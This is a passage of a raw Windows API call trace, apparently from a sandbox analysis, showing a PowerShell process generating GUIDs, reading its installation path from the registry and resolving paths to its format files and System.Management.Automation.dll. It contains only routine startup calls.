pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x6ab1b735, Data2=0x13dd, Data3=0x4332, Data4=([0]=0x8e, [1]=0x97, [2]=0x0, [3]=0x1a, [4]=0xd3, [5]=0xc2, [6]=0x1d, [7]=0xf1))) returned 0x0 [0113.495] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xdac9aec8, Data2=0xb9a3, Data3=0x41b3, Data4=([0]=0x89, [1]=0xeb, [2]=0x94, [3]=0x7, [4]=0x3, [5]=0xd4, [6]=0xfe, [7]=0x3f))) returned 0x0 [0113.496] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x12bd2ad0, Data2=0xcedf, Data3=0x4292, Data4=([0]=0xbe, [1]=0x7f, [2]=0x34, [3]=0xd8, [4]=0x15, [5]=0x3c, [6]=0xc5, [7]=0x29))) returned 0x0 [0113.496] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xe2dda904, Data2=0xf557, Data3=0x4386, Data4=([0]=0xb6, [1]=0xf6, [2]=0x90, [3]=0x3a, [4]=0x44, [5]=0xe2, [6]=0x68, [7]=0xaf))) returned 0x0 [0113.497] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xe30e1ce, Data2=0x9f05, Data3=0x46ea, Data4=([0]=0x8e, [1]=0x4f, [2]=0xe6, [3]=0xb4, [4]=0x4e, [5]=0xeb, [6]=0xc8, [7]=0x73))) returned 0x0 [0113.497] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x7ae2dbf4, Data2=0xc4ff, Data3=0x4efd, Data4=([0]=0x9b, [1]=0x8e, [2]=0x44, [3]=0x1, [4]=0xcd, [5]=0x26, [6]=0x74, [7]=0x75))) returned 0x0 [0113.498] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xc2e87d4a, Data2=0x13b1, Data3=0x4490, Data4=([0]=0x86, [1]=0x77, [2]=0x38, [3]=0x32, [4]=0x96, [5]=0x66, [6]=0x30, [7]=0x1d))) returned 0x0 [0113.498] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xafbdb112, Data2=0x9a0, Data3=0x47b2, Data4=([0]=0x85, [1]=0x90, [2]=0x92, [3]=0xb6, [4]=0xf7, [5]=0x13, [6]=0x8, [7]=0x15))) returned 0x0 [0113.499] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x80673341, Data2=0xc0ea, Data3=0x4de5, Data4=([0]=0x91, [1]=0x72, [2]=0xcf, [3]=0xd1, [4]=0xee, [5]=0xdb, [6]=0xfe, [7]=0x66))) returned 0x0 [0113.499] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xf6f5ffde, Data2=0xa806, Data3=0x40fa, Data4=([0]=0xbb, [1]=0x14, [2]=0x1e, [3]=0xaf, [4]=0xcc, [5]=0x3a, [6]=0xde, [7]=0xf7))) returned 0x0 [0113.499] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x9caa72c9, Data2=0x8b2b, Data3=0x4809, Data4=([0]=0xb2, [1]=0xff, [2]=0x3e, [3]=0xd5, [4]=0xb1, [5]=0x2c, [6]=0xe7, [7]=0x44))) returned 0x0 [0113.500] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x4f89eeb6, Data2=0x2748, Data3=0x4295, Data4=([0]=0x8c, [1]=0x70, [2]=0xbf, [3]=0xc9, [4]=0x6a, [5]=0x2d, [6]=0x6b, [7]=0xdc))) returned 0x0 [0113.500] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x20ac0716, Data2=0xaefb, Data3=0x4036, Data4=([0]=0x93, [1]=0x21, [2]=0xba, [3]=0x8b, [4]=0x5f, [5]=0xe5, [6]=0x5e, [7]=0x36))) returned 0x0 [0113.501] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xbe37cf85, Data2=0x5bce, Data3=0x4e5c, Data4=([0]=0x8f, [1]=0x7c, [2]=0xa8, [3]=0x61, [4]=0xea, [5]=0xba, [6]=0x64, [7]=0xa5))) returned 0x0 [0113.501] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xa82ed1fb, Data2=0xe2cd, Data3=0x4628, Data4=([0]=0x9d, [1]=0x9b, [2]=0xb3, [3]=0x5e, [4]=0x3f, [5]=0x81, [6]=0x42, [7]=0x1f))) returned 0x0 [0113.502] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x59e8e91c, Data2=0xda95, Data3=0x4644, Data4=([0]=0x99, [1]=0xbd, [2]=0x8, [3]=0xcf, [4]=0xd3, [5]=0x17, [6]=0x95, [7]=0x54))) returned 0x0 [0113.502] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xc2f5976e, Data2=0xab19, Data3=0x49f1, Data4=([0]=0x93, [1]=0xe7, [2]=0x94, [3]=0xf7, [4]=0x7a, [5]=0x22, [6]=0xce, [7]=0xfb))) returned 0x0 [0113.502] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x5fc42410, Data2=0xe8ac, Data3=0x489a, Data4=([0]=0x9c, [1]=0x2d, [2]=0xe, [3]=0x4a, [4]=0x92, [5]=0x86, [6]=0x33, [7]=0xb7))) returned 0x0 [0113.503] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xd39b9816, Data2=0x1eeb, Data3=0x4c79, Data4=([0]=0x82, [1]=0xde, [2]=0xf9, [3]=0x36, [4]=0xc7, [5]=0x37, [6]=0xcf, [7]=0x6f))) returned 0x0 [0113.503] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x8b3e800e, Data2=0x9fa7, Data3=0x4691, Data4=([0]=0xb8, [1]=0x63, [2]=0xde, [3]=0x44, [4]=0xb6, [5]=0x27, [6]=0xa6, [7]=0x5d))) returned 0x0 [0113.504] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xb971f599, Data2=0x57fb, Data3=0x4761, Data4=([0]=0xa3, [1]=0x7b, [2]=0x44, [3]=0xc0, [4]=0x1c, [5]=0x2, [6]=0x6c, [7]=0xec))) returned 0x0 [0113.504] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xd1ea6a73, Data2=0x1673, Data3=0x416a, Data4=([0]=0xa9, [1]=0xcf, [2]=0x42, [3]=0xee, [4]=0xed, [5]=0xfd, [6]=0xf8, [7]=0x84))) returned 0x0 [0113.509] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x79f4ad4, Data2=0x5ed0, Data3=0x4f83, Data4=([0]=0xb8, [1]=0x41, [2]=0x67, [3]=0x20, [4]=0x7d, [5]=0xe1, [6]=0x48, [7]=0xbf))) returned 0x0 [0113.512] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acd88 | out: phkResult=0x1acd88*=0x30c) returned 0x0 [0113.512] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acd0c, lpData=0x0, lpcbData=0x1acd08*=0x0 | out: lpType=0x1acd0c*=0x1, lpData=0x0, lpcbData=0x1acd08*=0x56) returned 0x0 [0113.512] CoTaskMemAlloc (cb=0x5a) returned 0x2878b00 [0113.512] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1accdc, lpData=0x2878b00, lpcbData=0x1accd8*=0x56 | out: lpType=0x1accdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1accd8*=0x56) returned 0x0 [0113.512] CoTaskMemFree (pv=0x2878b00) [0113.512] RegCloseKey (hKey=0x30c) returned 0x0 [0113.513] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0113.514] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x9349d51, Data2=0xbffd, Data3=0x4163, Data4=([0]=0xac, [1]=0x0, [2]=0x6e, [3]=0x95, [4]=0x2b, [5]=0x43, [6]=0xfd, [7]=0xb4))) returned 0x0 [0113.514] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xf1a09394, Data2=0xbce7, Data3=0x4732, Data4=([0]=0xac, [1]=0x2c, [2]=0x8e, [3]=0x20, [4]=0xb6, [5]=0xa2, [6]=0x72, [7]=0xf6))) returned 0x0 [0113.515] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x5da9b335, Data2=0x1bb4, Data3=0x4cb4, Data4=([0]=0x8c, [1]=0x82, [2]=0xd6, [3]=0x51, [4]=0x9c, [5]=0xad, [6]=0x50, [7]=0x35))) returned 0x0 [0113.515] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xcc0c32de, Data2=0x909e, Data3=0x4e1b, Data4=([0]=0xbd, [1]=0x29, [2]=0xb3, [3]=0x2a, [4]=0x25, [5]=0x52, [6]=0xf2, [7]=0x2e))) returned 0x0 [0113.522] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acd88 | out: phkResult=0x1acd88*=0x30c) returned 0x0 [0113.522] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acd0c, lpData=0x0, lpcbData=0x1acd08*=0x0 | out: lpType=0x1acd0c*=0x1, lpData=0x0, lpcbData=0x1acd08*=0x56) returned 0x0 [0113.522] CoTaskMemAlloc (cb=0x5a) returned 0x2878c50 [0113.522] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1accdc, lpData=0x2878c50, lpcbData=0x1accd8*=0x56 | out: lpType=0x1accdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1accd8*=0x56) returned 0x0 [0113.522] CoTaskMemFree (pv=0x2878c50) [0113.522] RegCloseKey (hKey=0x30c) returned 0x0 [0113.522] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0113.532] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x5460803b, Data2=0x7c3e, Data3=0x48ef, Data4=([0]=0x84, [1]=0xd8, [2]=0xed, [3]=0x89, [4]=0x68, [5]=0x95, [6]=0xe0, [7]=0x85))) returned 0x0 [0113.532] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x30faa9e9, Data2=0xe00a, Data3=0x4b87, Data4=([0]=0xaa, [1]=0xb3, [2]=0x60, [3]=0xef, [4]=0x5c, [5]=0x24, [6]=0xed, [7]=0x43))) returned 0x0 [0113.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.590] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x77bfdbbd, Data2=0xbf79, Data3=0x4975, Data4=([0]=0x91, [1]=0xa3, [2]=0x87, [3]=0x83, [4]=0x96, [5]=0x5f, [6]=0x54, [7]=0xbe))) returned 0x0 [0113.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1aba90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1aba90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.594] VirtualQuery (in: lpAddress=0x1aafc0, lpBuffer=0x1abe80, dwLength=0x30 | out: lpBuffer=0x1abe80*(BaseAddress=0x1aa000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.595] VirtualQuery (in: lpAddress=0x1ab050, lpBuffer=0x1abf10, dwLength=0x30 | out: lpBuffer=0x1abf10*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.597] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.597] VirtualQuery (in: lpAddress=0x1ab7d0, lpBuffer=0x1ac690, dwLength=0x30 | out: lpBuffer=0x1ac690*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.598] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.599] VirtualQuery (in: lpAddress=0x1ab7d0, lpBuffer=0x1ac690, dwLength=0x30 | out: lpBuffer=0x1ac690*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.600] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.600] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.600] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.609] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x8ddb0209, Data2=0xbb90, Data3=0x4606, Data4=([0]=0x94, [1]=0xd9, [2]=0x28, [3]=0x4c, [4]=0x30, [5]=0xba, [6]=0x77, [7]=0x6b))) returned 0x0 [0113.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.609] GetFullPathNameW (in: 